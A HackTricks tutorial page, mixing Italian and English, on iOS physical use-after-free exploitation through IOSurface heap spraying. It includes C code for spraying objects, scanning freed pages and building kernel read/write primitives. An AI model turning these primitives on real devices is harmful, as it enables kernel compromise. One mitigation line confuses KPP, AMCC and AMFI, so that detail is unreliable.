iOS Physical Use After Free via IOSurface
Reading time: 13 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
iOS Exploit Mitigations
- Code Signing in iOS funziona richiedendo che ogni pezzo di codice eseguibile (app, librerie, extension, ecc.) sia firmato crittograficamente con un certificato rilasciato da Apple. Quando il codice viene caricato, iOS verifica la firma digitale rispetto alla root di fiducia di Apple. Se la firma è invalida, mancante o modificata, il SO rifiuta l'esecuzione. Questo impedisce agli attacker di iniettare codice malevolo in app legittime o eseguire binari non firmati, bloccando molte catene di exploit che si basano sull'esecuzione di codice arbitrario o manomesso.
- CoreTrust è il sottosistema iOS responsabile dell'applicazione della code signing a runtime. Verifica direttamente le firme usando il certificato root di Apple senza affidarsi a store di fiducia caching, il che significa che solo i binari firmati da Apple (o con entitlements validi) possono eseguire. CoreTrust assicura che anche se un attacker manomette un'app dopo l'installazione, modifica librerie di sistema o tenta di caricare codice non firmato, il sistema bloccherà l'esecuzione a meno che il codice non sia ancora correttamente firmato. Questa rigida applicazione chiude molte vie post-exploitation che versioni iOS più vecchie permettevano tramite controlli di firma più deboli o aggirabili.
- Data Execution Prevention (DEP) marca regioni di memoria come non eseguibili a meno che non contengano esplicitamente codice. Questo impedisce agli attacker di iniettare shellcode in regioni dati (come stack o heap) e farlo eseguire, costringendoli a tecniche più complesse come ROP (Return-Oriented Programming).
- ASLR (Address Space Layout Randomization) randomizza gli indirizzi di memoria di codice, librerie, stack e heap ad ogni esecuzione del sistema. Questo rende molto più difficile per un attacker prevedere dove si trovano istruzioni utili o gadget, rompendo molte catene di exploit che dipendono da layout di memoria fissi.
- KASLR (Kernel ASLR) applica lo stesso concetto di randomizzazione al kernel iOS. Spostando l'indirizzo base del kernel ad ogni boot, impedisce agli attacker di localizzare in modo affidabile funzioni o strutture del kernel, aumentando la difficoltà degli exploit a livello kernel che altrimenti otterrebbero il pieno controllo del sistema.
- Kernel Patch Protection (KPP) nota anche come AMCC (Apple Mobile File Integrity) in iOS, monitora continuamente le pagine di codice del kernel per assicurarsi che non siano state modificate. Se viene rilevata una manomissione — come un exploit che prova a patchare funzioni del kernel o inserire codice malevolo — il dispositivo panicca e si riavvia immediatamente. Questa protezione rende gli exploit persistenti del kernel molto più difficili, poiché gli attacker non possono semplicemente hookare o patchare istruzioni del kernel senza causare un crash del sistema.
- Kernel Text Readonly Region (KTRR) è una feature di sicurezza basata su hardware introdotta sui dispositivi iOS. Usa il memory controller della CPU per marcare la sezione di codice (text) del kernel come permanentemente read-only dopo il boot. Una volta bloccata, nemmeno il kernel stesso può modificare quella regione di memoria. Questo impedisce agli attacker — e anche al codice privilegiato — di patchare istruzioni del kernel a runtime, chiudendo una grande classe di exploit che si basavano sulla modifica diretta del codice kernel.
- Pointer Authentication Codes (PAC) utilizzano firme crittografiche incorporate nei bit inutilizzati dei puntatori per verificare la loro integrità prima dell'uso. Quando un puntatore (come un return address o function pointer) viene creato, la CPU lo firma con una chiave segreta; prima di dereferenziare, la CPU verifica la firma. Se il puntatore è stato manomesso, il controllo fallisce e l'esecuzione si interrompe. Questo impedisce agli attacker di forgiare o riusare puntatori corrotti in exploit di corruptione di memoria, rendendo tecniche come ROP o JOP molto più difficili da eseguire affidabilmente.
- Privilege Access never (PAN) è una feature hardware che impedisce al kernel (modalità privilegiata) di accedere direttamente alla memoria user-space a meno che non abiliti esplicitamente l'accesso. Questo blocca attacker che ottengono esecuzione di codice kernel dall'accedere facilmente alla memoria utente per escalare privilegi o rubare dati sensibili. Applicando una separazione rigorosa, PAN riduce l'impatto degli exploit kernel e blocca molte tecniche comuni di escalation di privilegi.
- Page Protection Layer (PPL) è un meccanismo di sicurezza iOS che protegge regioni critiche gestite dal kernel, specialmente quelle legate a code signing ed entitlements. Applica protezioni di scrittura rigorose usando la MMU (Memory Management Unit) e controlli aggiuntivi, assicurando che anche codice kernel privilegiato non possa modificare arbitrariamente pagine sensibili. Questo impedisce agli attacker che ottengono esecuzione a livello kernel di manomettere strutture critiche per la sicurezza, rendendo persistenza e bypass della code signing significativamente più difficili.
Physical use-after-free
This is a summary from the post from https://alfiecg.uk/2024/09/24/Kernel-exploit.html moreover further information about exploit using this technique can be found in https://github.com/felix-pb/kfd
Memory management in XNU
The virtual memory address space for user processes on iOS spans from 0x0 to 0x8000000000. However, these addresses don’t directly map to physical memory. Instead, the kernel uses page tables to translate virtual addresses into actual physical addresses.
Levels of Page Tables in iOS
Page tables are organized hierarchically in three levels:
- L1 Page Table (Level 1):
- Each entry here represents a large range of virtual memory.
- It covers 0x1000000000 bytes (or 256 GB) of virtual memory.
- L2 Page Table (Level 2):
- An entry here represents a smaller region of virtual memory, specifically 0x2000000 bytes (32 MB).
- An L1 entry may point to an L2 table if it can't map the entire region itself.
- L3 Page Table (Level 3):
- This is the finest level, where each entry maps a single 4 KB memory page.
- An L2 entry may point to an L3 table if more granular control is needed.
Mapping Virtual to Physical Memory
- Direct Mapping (Block Mapping):
- Some entries in a page table directly map a range of virtual addresses to a contiguous range of physical addresses (like a shortcut).
- Pointer to Child Page Table:
- If finer control is needed, an entry in one level (e.g., L1) can point to a child page table at the next level (e.g., L2).
Example: Mapping a Virtual Address
Let’s say you try to access the virtual address 0x1000000000:
- L1 Table:
- The kernel checks the L1 page table entry corresponding to this virtual address. If it has a pointer to an L2 page table, it goes to that L2 table.
- L2 Table:
- The kernel checks the L2 page table for a more detailed mapping. If this entry points to an L3 page table, it proceeds there.
- L3 Table:
- The kernel looks up the final L3 entry, which points to the physical address of the actual memory page.
Example of Address Mapping
If you write the physical address 0x800004000 into the first index of the L2 table, then:
- Virtual addresses from 0x1000000000 to 0x1002000000 map to physical addresses from 0x800004000 to 0x802004000.
- This is a block mapping at the L2 level.
Alternatively, if the L2 entry points to an L3 table:
- Each 4 KB page in the virtual address range 0x1000000000 -> 0x1002000000 would be mapped by individual entries in the L3 table.
Physical use-after-free
A physical use-after-free (UAF) occurs when:
- A process allocates some memory as readable and writable.
- The page tables are updated to map this memory to a specific physical address that the process can access.
- The process deallocates (frees) the memory.
- However, due to a bug, the kernel forgets to remove the mapping from the page tables, even though it marks the corresponding physical memory as free.
- The kernel can then reallocate this "freed" physical memory for other purposes, like kernel data.
- Since the mapping wasn’t removed, the process can still read and write to this physical memory.
This means the process can access pages of kernel memory, which could contain sensitive data or structures, potentially allowing an attacker to manipulate kernel memory.
IOSurface Heap Spray
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called heap spray:
- The attacker creates a large number of IOSurface objects in kernel memory.
- Each IOSurface object contains a magic value in one of its fields, making it easy to identify.
- They scan the freed pages to see if any of these IOSurface objects landed on a freed page.
- When they find an IOSurface object on a freed page, they can use it to read and write kernel memory.
More info about this in https://github.com/felix-pb/kfd/tree/main/writeups
tip
Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
Moreover, IOSurface
allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And IOSurface
is now guarded by entitlements and sandbox restrictions.
Step-by-Step Heap Spray Process
- Spray IOSurface Objects: The attacker creates many IOSurface objects with a special identifier ("magic value").
- Scan Freed Pages: They check if any of the objects have been allocated on a freed page.
- Read/Write Kernel Memory: By manipulating fields in the IOSurface object, they gain the ability to perform arbitrary reads and writes in kernel memory. This lets them:
- Use one field to read any 32-bit value in kernel memory.
- Use another field to write 64-bit values, achieving a stable kernel read/write primitive.
Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
Cerca oggetti IOSurface
in una pagina fisica liberata:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Ottenere lettura/scrittura del kernel con IOSurface
Dopo aver ottenuto il controllo di un oggetto IOSurface nella memoria del kernel (mappato su una pagina fisica liberata accessibile da userspace), possiamo usarlo per operazioni arbitrarie di lettura e scrittura nel kernel.
Key Fields in IOSurface
L'oggetto IOSurface ha due campi cruciali:
- Use Count Pointer: Consente una lettura a 32-bit.
- Indexed Timestamp Pointer: Consente una scrittura a 64-bit.
Sovrascrivendo questi puntatori, li reindirizziamo verso indirizzi arbitrari nella memoria del kernel, abilitando capacità di lettura/scrittura.
Lettura a 32-bit del kernel
Per eseguire una lettura:
- Sovrascrivi il use count pointer in modo che punti all'indirizzo target meno un offset di 0x14 byte.
- Usa il metodo
get_use_count
per leggere il valore a quell'indirizzo.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-Bit Kernel Write
Per eseguire una scrittura:
- Sovrascrivi il puntatore del timestamp indicizzato con l'indirizzo di destinazione.
- Usa il metodo
set_indexed_timestamp
per scrivere un valore a 64 bit.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
Riepilogo del flusso dell'exploit
- Scatenare un Use-After-Free fisico: Le pagine liberate sono disponibili per il riutilizzo.
- Spray di oggetti IOSurface: Allocare molti oggetti IOSurface con un valore "magic" univoco nella memoria del kernel.
- Identificare un IOSurface accessibile: Localizza un IOSurface su una pagina liberata che controlli.
- Abusare di Use-After-Free: Modifica i puntatori nell'oggetto IOSurface per abilitare kernel read/write arbitraria tramite i metodi IOSurface.
Con questi primitivi, l'exploit fornisce 32-bit reads controllate e 64-bit writes alla memoria del kernel. Ulteriori passaggi di jailbreak potrebbero comportare primitivi di lettura/scrittura più stabili, che potrebbero richiedere l'aggiramento di protezioni aggiuntive (ad es., PPL su dispositivi arm64e più recenti).
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.